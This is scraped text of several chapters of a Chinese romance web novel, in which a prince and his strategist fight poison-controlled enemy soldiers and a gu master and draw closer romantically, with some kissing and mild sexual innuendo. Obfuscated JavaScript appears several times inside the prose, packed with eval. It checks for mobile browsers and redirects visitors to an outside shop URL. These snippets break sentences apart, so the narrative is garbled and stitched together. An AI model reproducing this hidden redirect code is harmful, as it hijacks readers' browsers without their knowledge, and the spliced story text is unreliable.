他是不是一开始就应该听景煦的,老老实实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648318|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡王帐怎么会深更半夜被吵醒。 于是寂静无声万物沉睡的深夜,宓军师抱着枕头摸黑进了王帐。见景煦已经睡熟,宓安轻手轻脚地爬上了床榻,没想到对方一把搂住了他的腰,将被子盖了上来。 宓安被吓了一跳,给了他一拳,小声凶道:“你做什么装睡!” 景煦搂着人笑道:“不装睡怎么能抓到军师来爬本王的床呢?怎么,军师也孤枕难眠了?” 宓安往被子里缩了缩,也不管漆黑的夜里景煦能不能看清,狠狠瞪了他一眼:“闭嘴!睡觉!” 景煦将被子掖好,说悄悄话似的在他耳边问道:“怎么过来了?” 宓安已经困得睁不开眼了,带着点委屈道:“邓之武打鼾像打雷一样。” 景煦笑了声,哄小孩子似的摸了摸宓安的头,轻声道:“睡吧。” 宓安快睡着了,强撑着一丝精神交待道:“明日早些叫我起来,让别人看见我从你的帐中出去像什么话。” “知道了。” 话虽如此,第二天景煦还是由着宓安睡到了大天亮,几位副将来王帐议事时,宓安还在榻上熟睡,景煦将屏风撑好才让几人进来。 邓之武正要开口,景煦“嘘”了一声:“你们小声讲话,本王今日头疼。” 邓之武点点头,压低声音道:“殿下,北夷那边好像有动作,昨夜有人偷偷绕到了咱们营地后方,被巡逻的兄弟抓了。” 刘平威接着禀报:“属下审了一夜,只知道他是来下毒的。属下已下令暂时禁止出入后厨,这几日吃食先由马大人准备。但是……” 他犹豫着不敢说,景煦道:“有话直说。” “但是怀仁还是中毒了,昨日抓人的时候他正好喝着水经过……”刘平威说起来也觉得尴尬,“等属下审清,怀仁已经下不来床了。” 邓之武赶紧说道:“已经请大夫了。” 正说着,外面突然有士兵来报:“殿下!齐副将不好了!” 景煦让人进来,士兵慌张道:“殿下,城里的大夫说齐副将中的是一种罕见的剧毒,若没有解药恐怕撑不过三日!” 邓之武大惊失色:“怎会如此!?” 刘平威也慌了阵脚,怒骂道:“让那北夷人拿解药出来!” “被派来下毒的弃子,他身上怎么会有解药。”宓安早就被吵醒了,听几人说话听了个大概,起身道,“我去看看。” 二人一时不知道应该先惊讶宓安为什么会在王帐里,还是应该先怀疑宓安去看齐怀仁有什么用。 刘平威问道:“军师懂医术?” 宓安道:“略懂一二。” 几人到了齐怀仁的营帐,榻上的人脸色灰白,嘴唇都变成了青色,景煦皱起眉,问道:“什么毒?” 那大夫一见景煦就怕得发抖,生怕被治罪,现下颤着声音回禀道:“回、回殿下。应是北夷秘毒,此毒由北夷独有的血兰制成,草民也无能为力……” 刘平威抓起大夫的衣领:“你无能为力?!那谁能治?!” 大夫哆哆嗦嗦地说道:“如果没有解药,怕是、怕是、怕是只有传说中朝青的主人青安公子能解此毒……” “什么叫传说中?”刘平威脸色铁青地问道。 邓之武说道:“似乎是一个在江湖上很有名的组织,但这位主人好像从未露过面,没人知道他的长相……” 这边说着,那边宓安已经让景煦捏住齐怀仁的两颊,喂了颗药丸进去。大夫的恐惧和仁心斗争片刻,仁心胜了,他连忙喊道:“不可!不可!这毒与许多药材都相克,乱用药会立刻毙命!” 话音未落,齐怀仁的脸色已经肉眼可见地有了血色,嘴唇也恢复了正常,宓安皱着眉看向想要过来拦他的刘平威:“刘将军不必担心。” 说着,又招来一个小兵,吩咐道:“昨日我看到县衙门口栽了些五颜六色的花,你去摘一些。” 小兵领命走了,宓安对大夫说道:“一会花拿回来,捣碎了直接喂给他就行了。” 宓安昨天睡得晚,现在还有些没醒过盹,打着哈欠问景煦:“今日有重要的事吗?” 景煦笑道:“无事,去睡吧。” 宓安点点头,轻车熟路地回了王帐,留下心情复杂面面相觑的众人,和得意洋洋又不知在高兴什么的昭王殿下。 14. 并进 宓安又是被吵醒的。齐怀仁醒了要死要活非要给宓安磕头谢恩,跑到了军师营帐没看到人,又追到了王帐,被众人拦在门口跟他说军师在休息才作罢。 可宓安睡觉浅,几人在门外闹了一通他早就没有了睡意,只好起身出了王帐,莫名其妙地问道:“这是在做什么?” “军师!!!”齐怀仁嚎叫一声,彻底把宓安吓醒了盹。 “我为军师当牛做马!!”齐怀仁规规矩矩地行了礼,“谢军师救命之恩!!” 齐怀仁中的毒正是前世害死王顺的毒,幸好宓安重生之初就制出了解药。 宓安后退了两步,客气道:“齐将军言重了,日后忠心殿下就是了。” “属下为军师和殿下当牛做马!” 景煦想把人踢开,但见他哭得一把鼻涕一把泪又觉得不太好下脚:“滚滚滚,别吵青疏。” 一群人搀扶着齐怀仁回去休息了,宓安好笑道:“看来毒已经清干净了,都有力气到处跑了。” 景煦看所有向宓安献殷勤的人都不顺眼,阴阳怪气地哼了两声,被宓安瞪了才收声,把手里的信件给了宓安。 “北夷王书房偷的。”景煦说道。 宓安捻了捻手里的纸:“这纸似乎是大渊用的。” “北夷人野蛮,笔墨纸砚上从不讲究,就连皇室书信往来也用普通草纸。”景煦冷笑道,“老东西为了除掉我岳父,竟然与北夷人苟且。” 宓安笑了出来:“什么苟且,这词是这么用的吗。” 景煦单手撑着桌案,看着他笑道:“知道了少师,学生受教。” 宓安翻看着信件,每张只有只言片语,交待大军的行程。军中会写字的人不在少数,只看信件看不出什么,只是宓安总觉得纸的味道有些熟悉。 宓安问道:“北夷王房里点的什么香?” 影一在暗处回道:“回公子,北夷王不用香料。” 这就怪了,宓安将信件拿近仔细闻了闻,这是一种偏甜的花香,像闺阁女子爱用的香料。朝青也做熏香生意,宓安可以肯定,大渊境内从未有过这种香。 但他为什么会觉得熟悉呢? 景煦见宓安出神,也凑近闻了闻:“不就是纸味儿?” “不同的茶和酒那么细微的差别你都能闻出来,香料味道却闻不出?”宓安奇怪道。 “我倒是能闻出你的味道不一样了。”景煦突然贴近宓安,嗅了嗅,笑道,“出发那日,阿宓身上是栀子香。你习惯用应季的鲜花做香囊,就算几年不出门,闻你身上的味道也能知道当下是什么季节。” “行军路上多半个月,阿宓都没有时间采花制香囊,所以现在你身上,全是我的味道。” 景煦笑嘻嘻地凑的更近:“阿宓闻闻,是我近日常用的乌沉香。” 宓安推开他,语气无波:“睡久了自然会染上你的味道。” 景煦托着腮看他欲盖弥彰地翻书信:“阿宓现在同我睡一张床也毫不排斥,睡熟了还会往我怀里钻,是你也心悦我的意思吗?” 宓安面无波澜,手上的动作却出卖了他的心思,半晌,他抬起头,有些阴阳怪气地说道:“拒绝你一次你就要跳池塘,我怕你受刺激想不开。” 他理直气壮地颠倒黑白扭曲事实,景煦也不争辩,只道了句“阿宓好无情”,又给自己倒了杯茶,抿了一口挑剔道:“难喝。阿宓什么时候再煮茶给我。” “明日吧,营地附近开了些金盏。”宓安说着,拿着信件的手突然一顿,“景煦,我想起来了。” 他看向景煦:“是金盏的花香,掺了一些十分名贵的香料。这个味道我在你给我的香料里闻到过。” 景煦道:“给你的那些是姑师带回来的。” 姑师已经被景煦灭国,皇室中人无一活口,所有百姓皆入了大渊籍,举家搬迁至大渊生活。从前的香料商人也几乎全都在大渊重新做起了生意,但这味香的用料十分金贵,宓安从未在大渊的铺面上见过,许是姑师皇室特有的。 景煦有些不好意思地解释道:“我不懂这个,装在一起就拿回来给你了,早知道这么贵就单独装起来了。” 宓安懒得说他带回来的那些香早就混得不成样子了,这味香还是他按照那张方子自己配的。 是夜,暗卫来报,北夷王带了两位奇人异士入宫,听说这二人有通天驭地之能,由他们带领的兵马武力会骤增数十倍。去年北夷区区三千兵马,竟踏破了南羌近三万大军,将南羌吞并了。 吞了南羌的兵马,难怪有胆子敢试探大渊了。 邓之武听了暗卫的转述,说道:“殿下,听说攻下南羌的时候是他们二人兵分两路,南羌所有的兵力都没挡住其中一个,更别提还有一个背后偷袭的。” “那两个怪人不知和北夷王有什么交易,时隔大半年才肯来一次。”齐怀仁沉思片刻,“难怪北夷忍到现在才开始挑衅咱们,原来是挑好了那两个怪人来的时候。” 常驻河州的副将王瓒急道:“殿下,当务之急是派两人带两队兵马迎战。那二人的本事属下领教过,属下无能,恐怕只有殿下能与之一战。” 景煦的武功在座几人有目共睹,这天下能与景煦一战的人怕是一个手都能数过来,那两个怪人竟有如此本事,实在不能小觑。 “所有人警戒,这几日夜巡再加一队人。”景煦吩咐道,“对方究竟什么路数还不清楚,若有敌袭,青疏和齐怀仁邓之武留守后方,本王与王瓒刘平威前方迎敌。” 说着,他看向宓安:“这次恐怕又是前后夹击的路数,你自己小心。” 说着又看向齐怀仁,后者立刻说道:“属下的毒已经完全解了。” 邓之武却哭丧起了脸:“殿下,王瓒说只有您能和那怪人一战,属下万一打不过怎么办?” 王瓒也说道:“不如属下也留下?前面有殿下在应该不成问题。” 景煦摆摆手:“不必,有青疏在。” 王瓒欲言又止,刘平威却是有话直说的性子:“军师那小身板怎么顶得住?” 营帐外响起了喊叫声,几人立刻拿起了武器,景煦大步向外走去,边走边道:“你们听命就是。” 北夷士兵个个眼色血红,以一当十,杀起人来像走火入魔的怪物一般。景煦远远看着,却不见那怪人的身影。 王瓒提着长枪杀进战场,北夷人虽力气暴涨,却没有理智,只会乱砍。但他们好像没有痛觉,胳膊断了也恍若未闻,只知道一味杀人。 刘平威见状不对,冲景煦喊道:“殿下!北夷人不对劲!” 王瓒踹开面前一个人:“这些人不知道疼也不知道累!这样下去咱们会被耗死!” 景煦皱起眉,飞身踏在几个北夷人身上借力,一剑刺穿两个人的喉咙,血流如注的两人只是停滞片刻,就再次挥起了手里的刀。王瓒见状大惊失色:“杀不死!?” “换板斧,腿砍断。”景煦冷静道,“你们撑着,本王去找背后之人。” 与此同时,营地后方果然是同样的情景,活死人一样的北夷人源源不断,且对营地布防十分熟悉。宓安知道有细作,毫不意外。起初齐、邓二人还尽量护着宓安,奈何北夷人实在杀不死灭不尽,他们也顾不上宓安了。 只是他们没想到宓安竟也会用剑,缠在他腰间的软剑薄如蝉翼却锋利无比,出剑便是喉咙一道血线,伤口不大却血流不止。 发现这些北夷人杀不死后,宓安当即收了软剑,抄起板斧砍掉了一人的头。可这没了头的北夷士兵竟还在挥舞手里的刀,只是寻不到方向,招式更混乱了。 邓之武骂了一句,惊恐万分:“什么怪物!” 宓安侧身避开北夷人,几个踏步轻盈落在了远处,进了王帐。 齐怀仁正要去守住帐门,却见宓安又走了出来,手里拿着景煦的弧弓。 拉弓,搭箭,箭矢以破空之势射进了远处两人宽的树上,众人还未反应,第二支箭、第三支箭紧接着射了出去,一左一右飞向那棵树的两边。树后似乎有人探头,才露出一点,眉心就被宓安的第四支箭一箭射穿。 刹那间,万籁俱寂,所有北夷士兵都停下了动作,半晌,齐刷刷地倒了下去。 宓安放下弓,冷笑道:“旁门左道。” 第一支箭射穿树干时,邓之武就已经被震撼了,夜色中他连树后有人都未能察觉,宓安竟然四支箭环环相扣,封死了怪人的退路,最后一箭毙命。 齐怀仁看看宓安,又看看远处的树,又看看宓安,目瞪口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小山村的两具尸体死于蛊毒,今日北夷士兵又是被蛊虫控制,宓安为何对蛊如此如临大敌?景煦抱着宓安的手紧了紧,张了张嘴,半晌,还是将下巴搁在了宓安肩头,没问出口。 宓安安静靠在景煦怀里,他们坐在树杈上,视野开阔,远处山头似乎站着一个人,宓安正要定睛细看,那却只瞄到了一抹墨绿色的残影。 齐怀仁等人已经收殓好了尸体,抬着头面色有些复杂地看着抱在一起的两人:“殿下,属下确认过了,无一活口。那两个怪人的尸体已经开始腐烂了。” 宓安在景煦怀里待上了瘾,听到齐怀仁说话也没动弹,轻声道:“烧了。” 景煦笑着应了声“好”,扬声对几人说道:“两个怪人尸体烧了,其他的该怎么办怎么办。” “是。” 两人坐在树上也不说话,安安静静的靠着彼此,景煦悄悄叹了口气,天知道他上辈子有多久没这样好好和宓安待一会了,那时一见面除了吵架就是上床,这样平和静好的时光真是太难得了。 还没等他好好享受一会,没九就悄无声息地出现在了更好的树杈上:“主子。” 宓安一僵,推开景煦坐直了身子。 景煦一手揽住宓安的腰,斜眼看向没九:“什么事?” 没九道:“北夷王那里似乎还有一个蛊师,只是他们行事隐蔽,属下探不到更多消息。” 景煦点点头,冷声道:“这两个果然只是小角色,南羌也真是废物。” 宓安瞥他一眼:“今日如果是你一个人,恐怕要费好大功夫,还不赶紧磕头谢我。” 景煦立刻变脸,笑道:“这次真是多亏了阿宓,阿宓太厉害了,简直……” “够了。”宓安捂住他的嘴,“少说胡话。” “怎么是胡话,这是实话。”景煦拉下宓安的手,握在手里不放,“今日如果只有他们几个,后面早就被踏破了。” 他说这话也不避人,邓之武正好听见了,心服口服地抬起头冲宓安喊道:“军师太厉害了,属下都没发现树后有人!” 齐怀仁听到邓之武的声音,也远远喊道:“军师的箭法箭术也好厉害!殿下!属下觉得军师和您可以一战啊!” 景煦就爱听人夸宓安,当即就说道:“本王可打不过青疏。” 王瓒就在齐怀仁旁边,不敢置信地问道:“军师真这么强?就这小身板?” 齐怀仁瞥他一眼:“说谁小身板呢?小心殿下揍你。” 景煦果然想和王瓒比划两下让他看看宓安有多厉害,但宓安在树上找了个舒服的姿势,两腿放在树上,侧身靠在了他身上。景煦连忙搂好宓安,也没空和王瓒计较了。 15. 家书 夜里,一场大雨突如其来,将满地血迹冲刷得干干净净,齐怀仁向景煦回禀了战亡人数,顶着大雨回了自己营帐,路上碰到了冒雨出来小解的刘平威还顺嘴调侃了几句。 宓安听着好笑,问景煦:“你和他们几个关系不错?” 景煦正在看战报,闻言抬起头,奇怪道:“下属而已,有什么关系?” “我看他们不像普通士兵那么畏惧你,还以为你们私交不错。” 景煦叹了口气,故作苦恼:“也就仗着我脾气好。” 宓安翻他白眼,景煦坐了过来,说道:“阿宓这是什么表情?我脾气不好吗?我脾气好到昨儿个十三都敢来问我要不要买胭脂了。” “买胭脂做什么?” 景煦咬牙切齿:“他觉得我扮成女子更能讨你喜欢。” 宓安笑出了声:“我现在相信你对暗卫脾气好了。” 胆大包天的影十三的声音不知从哪个角落飘了出来:“公子,殿下也只对从小相识的‘影’脾气好一点点而已。殿下对您才是真的脾气好。” 景煦指着他藏身的方向,对宓安道:“阿宓你看!咱俩说话他都敢插嘴,我脾气还不好?” 宓安笑道:“他还小,你少训他。” “影”部一共十三个暗卫,影十三不过才十四岁,说是景煦把他养大的也不为过,年纪小自然更欢脱,在景煦面前胆子也更大一些。 景煦的飞醋向来不讲道理,听到宓安不偏向他,立刻打了个手势,让所有近身的暗卫离开了营帐。 被景煦拨去保护宓安的三个暗卫犹豫片刻,还是决定先不动作,听宓安吩咐。宓安察觉到他们三个没走,无奈道:“你们三个也出去吧,不至于跟了我就不听殿下的话了吧?” 景煦却无所谓:“当然是先听你的。” 宓安皱了皱眉,奇怪道:“你这么说,他们三个好像聘……嫁妆啊。” “就是聘礼。”景煦张开双臂,“抱一会儿吗?” 他看着宓安,眼睛里有不知名的情绪流转,景煦很清楚这段日子他对宓安的种种不过是自己一厢情愿罢了,但今日树上那个主动的拥抱又将他的痴心妄想勾了起来。他害怕宓安逃离,又不甘心就这样以挚友的名义不清不楚。 说到底,景煦还是挣不开上辈子那十几年的噩梦。 宓安也看着他,良久,在景煦的笑已经挂不住,犹豫着要不要将手臂放下的时候,宓安笑了起来,攀着他的肩膀侧坐在了他腿上。 景煦紧紧抱着怀里的人,委屈道:“阿宓这是做什么?” 宓安搂着他肩膀的手慢慢上移,变成了搂住他的脖子,两人贴的很近,景煦对上近在咫尺的明眸,呼吸都停住了。 “景长昱。”宓安缓缓凑近他,“亲一下吧?” 景煦呼吸一窒,狠狠吻住了宓安的唇。怀里的人还在口齿不清地埋怨:“轻点。”这声埋怨雪上加霜,景煦破开宓安的唇齿,勾起他的舌头,手上也逐渐不老实,要往人衣裳里钻。 宓安被他亲得喘不上气,好不容易偏开头,又被追着撕咬。 “昭王殿下。”宓安的呼吸急促,声音也莫名软了下来,像撒娇一般,“你好熟练。” 景煦盯着宓安的唇,又凑过去亲了一下,“看到阿宓就无师自通了。” 宓安感觉到身下好像有什么东西蠢蠢欲动,脸突然红了个透,凶道:“不准精虫上脑!” 景煦无辜道:“我没有,它不受控制。” 宓安在他怀里挪了挪,避开了硌着他的东西,说道:“该睡了,你自己想办法。” 景煦抱着人站起身向榻上走去:“不必管它。” 宓安显然很不信任他:“不许对我动手动脚,我不会帮你的。” 景煦笑着亲了他一口:“知道。睡吧。” 不知道上辈子他和宓安到底是什么时候出的问题,景煦也有猜测是从第一次乱来开始,虽然当时宓安中途也很顺从,甚至拉着他不让他离开……但毕竟一开始是他强迫的。景煦暗暗发誓,这辈子绝对不能再惹宓安生气了。 一夜好梦,景煦的噩梦好像已经结束了,梦里前世的小丞相不再冷言冷语,也不再只有背影,而是笑意盈盈地看着他,问他“亲一下吗?” 翌日一早,云销雨霁,宓安早早睡醒,看着身旁连睡梦中都带着笑的人,轻轻戳了戳他的脸,呢喃道:“做什么美梦呢?” “自然是有阿宓的美梦。”景煦眼睛都没睁就把人按进了怀里,腻歪道,“阿宓——” “又装睡。” 景煦蹭了蹭他的发顶,轻声道:“喜欢你。” 宓安的脸又烫了起来,有些庆幸自己在他怀里,不然被景煦看到红成这样的脸又要好好调戏他一番了。 宓安在景煦怀里用力蹭了蹭,试图让自己降温。明明这话前世已经听景煦说过无数次了,他现在到底在脸红什么。 “殿下!!!”刘平威的声音远远传来,“出事了殿下!!!” 转眼声音就到了营帐门口:“北夷王死了!” 景煦穿好衣裳让人进来,问道:“怎么死的?” 刘平威说道:“不知道,一大早传来消息,新北夷王已经继位了。” 帐外的没九神出鬼没地出现,低着头道:“殿下,是新北夷王杀的,昨夜丑时。” 景煦皱眉:“为何昨夜不报?” 没九犹豫着看了景煦一眼,又看了他身后刚从屏风后走出来的宓安一眼,说道:“影十三说殿下和军师在忙。” 宓安脸一红,说道:“小十三确实该管教一下了。”小小年纪从哪里知道这些乱七八糟的。 景煦点点头:“回去让他加练。” 卖了影十三,没九毫无愧疚之意地回了北夷王宫。 刘平威却是脑子一根筋,真诚道:“殿下和军师忙到这么晚啊?那今日得好好休息。” 宓安:“……” 景煦让他该干什么干什么去,打发走了刘平威,宓安坐在案前,突然说道:“昨日我似乎看到了一个人。” “什么人?” 宓安摇摇头:“在西边那座山头上,大概是墨绿色的衣裳,没看清。” 景煦猜测道:“是那个行事隐秘的蛊师?” “八成是。”宓安的手指有一下没一下地点着桌案,“连你的暗卫都探不到更多,不简单。” “如此迫不及待弑父篡位,怕是和那蛊师脱不了干系。”景煦道,“北夷王只有一个儿子,好像叫什么……” 他想了半天,才犹豫着说道:“努力?” 宓安:“……好朴实的名字。” 但他不太相信景煦的记性,于是叫来了暗卫,影三出现,说道:“回公子。新北夷王名‘怒尔力’。” 宓安听了,突然想起了被景煦惦记了两辈子的“萧起”,不由好笑。昭王殿下真是十年如一日的耳朵不太好使。 “这不是差不多?”景煦倒是理直气壮,甚至倒打一耙,“阿宓打听别的男人名字做什么?” 宓安懒得和他斗这种幼稚的嘴,说道:“随口一问罢了,现在细作未知,那蛊师的实力也未知,小心为上。” 北夷人不上门挑衅,景煦也按兵不动,清静了几日,马天川那边也传来消息,都护府经他整顿,从前混吃等死收受贿赂的都战战兢兢不敢再造次,连带着底下的人都更勤勉了几分。 “马大人果然是个人才。”宓安道,“待在这边野小城屈才了。” 景煦意味不明:“有他出头的时候。” 前世宓朗回也曾重用马天川,但他做事谨慎守规矩,不敢像景煦这样二话不说就斩了原都护提新人上位,那时他怕是写了折子先交景陆裁断,只是还未等来回复,便葬身荒野。 如果前世也是这般腹背受敌的情景,凭宓朗回的本事即使会费些功夫,多些伤亡,应当也能险胜一把,为何最后会落得全军覆没,死无全尸的下场?那时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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景煦向暗卫确认了京中消息,说道:“宓将军无事,密报没断。” 宓安也翻看了朝青的密报,近日京中并无大事。 他看向景煦,缓缓说道:“若今日接到这封信的是我父亲,他可有途径知道我是否平安?” 景煦沉默良久,摇了摇头。 宓朗回战无不胜,不管是暗卫还是朝青,跟在他身边都毫无用处,不小心被发现还会徒增隔阂。谁也没有料到北夷有这不死不灭的怪物,再加上景陆背后陷害,无疑是雪上加霜。 宓安轻轻摩挲着玉佩,说道:“玉佩是假的。可我家的传家玉佩一直搁在书房暗格里,从不示人,谁能如此细致地仿制出一模一样的?” “阿宓怎知玉佩是假的?” 宓安将玉佩反过来:“这里有个裂痕,是我十三岁那年用匕首划的,我父亲不知道。” 景煦道:“能做的一模一样,必然细看过真玉佩。这划痕,是没看到,还是当时没有?” 宓安心下一沉,问道:“你爹登基的时候我七岁,他会纡尊降贵跑到臣子家里看玉佩吗?” 景煦说道:“应当不会。况且他笨的很,估计也记不住。” 宓安好笑道:“那你这么聪明,是随了先皇后?” “那当然。”景煦坐到他旁边,安慰道,“今晚去看看就知道了。” 宓安想说他自己去,景煦却像看穿了一般,在他开口前抢先道:“对方必是有备而来,我和暗卫都要去。” 连宓朗回都没躲过的陷阱,可想而知有多凶险,自然是有万全准备才放心。 宓安点点头:“好。”说着,他打了个手势,十数个身影自暗处浮现,依然是云青色罩甲,粉色的莲花纹。 宓安冷声交待道:“今夜听昭王殿下命令,与暗卫配合行动。” “是。” 朝青的人同暗卫对暗号去了,景煦若有所思地看着宓安,问道:“上次就想说了,他们这衣服不错,什么时候给暗卫也做一件?” 宓安无语道:“你的暗卫整日刀尖上舔血,穿这么浅的颜色做什么。” “那你给我做一件。” “你穿浅色不好看。” “才与我互通心意不到一日就觉得我不好看了?你也太容易变心了!” 宓安微笑道:“收声,我现在没空抽你。” 16. 蛊师 是夜,一驾马车离开营地疾驰而去。今日立秋,暑气未褪,景煦让人往马车里放了一盆冰,怕宓安热着。 “哪里来的冰?” “都护府的。”景煦手里拿着把不知从哪顺来的扇子,隔着冰缓缓朝宓安扇着凉风。 宓安有些恍惚,前世景煦即便做了皇帝,夏日夜间也依然这样给他扇风,丝毫没把自己当九五之尊。有时宓安睡不安稳,他就慢慢哄着,不管多晚都要等宓安睡熟。 “你真是要将我宠坏了。”宓安思绪纷飞,飞回前世又落在当下,喃喃说道。 景煦一愣,宓安很少这般像撒娇一样和他讲话,良久才笑道:“宠你不是应该的?” 宓安瞥了他一眼:“这话回去跟我爹说吧。” 景煦揽过他,委屈道:“我岳父会不会不同意这门亲事啊?我能感觉到他有点烦我。” 宓安摸了摸他的头,笑道:“不关你的事,只要是男的我想他都不会同意的。” 景煦:“……” 说得也是。 三十里路不远不近,暗卫算得精准,一柱香的时间便到了。马车还未停稳,就听到一个年轻的男声略带讥讽道:“果然是养尊处优的公子哥,竟乘马车前来。” 景煦心说大半夜的徒步跑三十里那不是有病,但他懒得与此人多费口舌,便道:“阁下不妨有话直说。” 那人开门见山:“宓朗回在我手上,若要他活命,即刻退兵。” 景煦冷笑一声,出了马车,那人一见景煦便脸色一沉:“你是何人?” 马车里的宓安一愣,从门帘的缝隙中看了一眼来人,这人与景煦年岁相仿,穿着一身墨绿衣袍,应当就是那日他在树上看到的人。 景煦挑了挑眉:“是你送信给我,倒要问我是何人?” 来人冷声道:“让宓朗回的儿子与我说话。” 看来这人认识宓安,倒让景煦十分意外。 “我是宓朗回的儿婿。”景煦真诚道。 宓安隔着门帘翻了个白眼,起身出了马车。 “青疏。”那人见到宓安,笑了起来,“好久不见。” 宓安看着他的脸,一时觉得眼熟:“我与阁下似乎从未见过。” “青疏也是你叫的?”景煦满是戾气。 那人看了景煦一眼,语焉不详:“我与青疏相识时,你还没出生。” 景煦正要骂他,宓安却先一步向他说道:“有事说事,少说废话。” 宓安在外人面前一向冷淡,甚少这样讲话,可见是对眼前这人十分厌烦。那人却不恼:“赫连修齐,我的名字。” 景煦冷笑:“有人问你吗?” “昭王殿下,不必对在下这般警惕。”赫连修齐看向宓安,“青疏与我相识多年,我们本不必对立。” 景煦眸光一凛,想起了前世那个夏夜,宓安连连叫着的名字,那个像“萧起”又像“秀气”的音调,原来竟是“修齐”吗? 宓安却满头雾水,习惯性看向景煦,却见这人脸色阴沉,杀意骤现。 “景……” 话未出口,景煦已经出了手,长剑破空,招招致命。 赫连修齐虽然武功不弱,但在景煦面前还是稍落下风,只能勉强接招,突然,他挡开景煦一剑,冲宓安喊道:“青疏,帮我!” 景煦冷笑着嘲讽道:“帮你?你发癔症呢?” 刹那间,一柄簿如宣纸的软剑挡开了他的长剑,与此同时,宓安轻巧地落在了赫连修齐身旁。 景煦难以置信地看着他:“阿宓?” 宓安看着景煦,二人眼神一对便知彼此心意,景煦了然,戏瘾大发:“你竟然为了他对我出手!?” 宓安垂眸,淡声道:“我爹在他手里,昭王殿下莫要轻举妄动。” 赫连修齐低声笑了起来:“昭王殿下,你在青疏心里的份量似乎不过如此。” “你也少说废话。”宓安对他也没有好脾气,“我爹呢?” 赫连修齐笑道:“一见面我就说过了,昭王殿下退兵,我让你二人父子团聚。” 景煦道:“做梦。” 宓安运转内力,压□□内的燥热,直到这一刻,他才明白为什么赫连修齐要在里浪费时间。 在景煦和他的眼皮底下如此神不知鬼不觉地对他下蛊,有点本事。不过自从见过翠华村那两具尸体后,宓安便一直在研究蛊术,他自小学医学毒,对这些事格外有天赋,现下虽然还不会养蛊祛蛊,压制一下却是不在话下的。 前世宓朗回怕是栽在这上头。 赫连修齐摇了摇头,声音变得有些阴柔,他轻声道:“那么青疏,替我杀了他吧。” 景煦还是那句话:“你发癔症呢?” 宓安冷笑:“确实发癔症。” 说话间,二人同时出剑向赫连修齐攻去,后者一愣,仰身避开,不可思议地看了宓安一眼,转身硬抗了景煦一剑,飞身向山下逃去了。 赫连修齐武功稍逊,轻功倒是登峰造极,眨眼间就没了身影。 宓安看着他消失在山脚,倒是出神良久。 景煦咬牙切齿地只给了赫连修齐一个眼神,转身看见宓安竟盯着那人消失的方向出神,顿时气不打一处来,冷哼一声自己上了马车。 宓安这才回过神,跟了上去,好笑道:“又发什么脾气?” 景煦不理他,委屈巴巴地坐在马车角落里碎碎念,不知是在自言自语还是在控诉宓安:“你和他什么时候认识的?你还有多少事瞒着我?我不值得你信任吗?我……” 宓安哭笑不得地捂住了他的嘴,说道:“我不认识他,也没有什么事瞒你。”瞒你的都是些小事,比如重生,比如刚刚中了个蛊。 景煦被他捂着嘴,口齿模糊着问道:“真的?” “当然是真的。”宓安放下手,凑近亲了亲他的薄唇,“方才震疼你了没?” 景煦“不疼”两个字都要说出口了,一张嘴就拐了个弯:“疼。” 宓安知道他不疼,但还是哄道:“我揉揉。” 景煦握住他的手,把人揽进了怀里,宓安觉得他有话没说,抬头问道:“有心事?” 景煦把宓安的头按进怀里,口是心非:“没有。” 他总想问问那不知是萧起还是修齐的人到底是谁,可宓安已经说了不知,追问不休倒显得他小肚鸡肠斤斤计较。 “阿宓。” “嗯?” 景煦一只手抬起宓安的下巴,低头将他的惊呼吞了下去。两人的唇细细碾磨,景煦熟练地勾起宓安的舌头,声音几乎淹没在水声中:“好软。” 宓安按住他四处游走的手:“这里是马车上。” 景煦按着宓安的头重新吻下去,来势汹汹让宓安招架不住。许久许久,景煦才大发慈悲给了他一些喘息的时间,没等人缓过神瞪过来,又再次堵住了即将骂他的嘴。 不知亲了多久,马车外的暗卫都被这暧昧的水声惊得不知所措,走也不是留也不是,只能面红耳赤地逼自己装聋。 “你没完了……”宓安气喘吁吁,瘫软在景煦怀里。 景煦不知自己是委屈还是什么,总之心里有些不痛快,但现在将宓安抱在怀里狠狠亲了一通,那点不痛快顿时灰飞烟灭了。 “十二,回营。”景煦心情大好,将宓安抱坐在自己腿上。 宓安给了他一巴掌,凶道:“你发什么疯?” 景煦眨眨眼,无辜道:“亲自己娘子怎么了?不给亲?” 宓安懒得看他装傻,靠在他身上给自己把了把脉,顿时一愣。他本以为活人中蛊靠把脉是看不出异常的……虽然微乎其微,但他此时的脉象确确实实与常人有异。 宓安抓起景煦的手,细细把脉后依然看不出异常。 为何如此?难道前世对景煦下蛊的是比赫连修齐更厉害的蛊师? 不对。 赫连修齐方才让他对景煦出手时十分自信,他身上的蛊是可以控制活人的。既然能控制活人,何必多此一举将人杀死再控制尸体? 前世景煦身上的蛊、翠华村两具尸体身上的蛊、此时此刻他身上的蛊、北夷的鬼兵、赫连修齐,这之间到底有什么联系? 宓安不自觉地摩挲着景煦的手指,出神良久。 “阿宓?”景煦轻声唤他,“到了。” 宓安回过神,天已经亮了,他脑子乱得很,现在才觉出困意,便侧身搂住了景煦的脖子:“抱我回去。” 景煦自然乐意,笑着亲了他一下,抱着人回了王帐。 宓安睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大军先行,副将们一同回京复命,景煦和宓安倒是不急了,二人带着暗卫一路玩玩走走,天色渐晚便随意找了家客栈留宿。 “过两日就是中元了。”宓安靠在景煦身上闭目养神,“去放两盏河灯吧。” 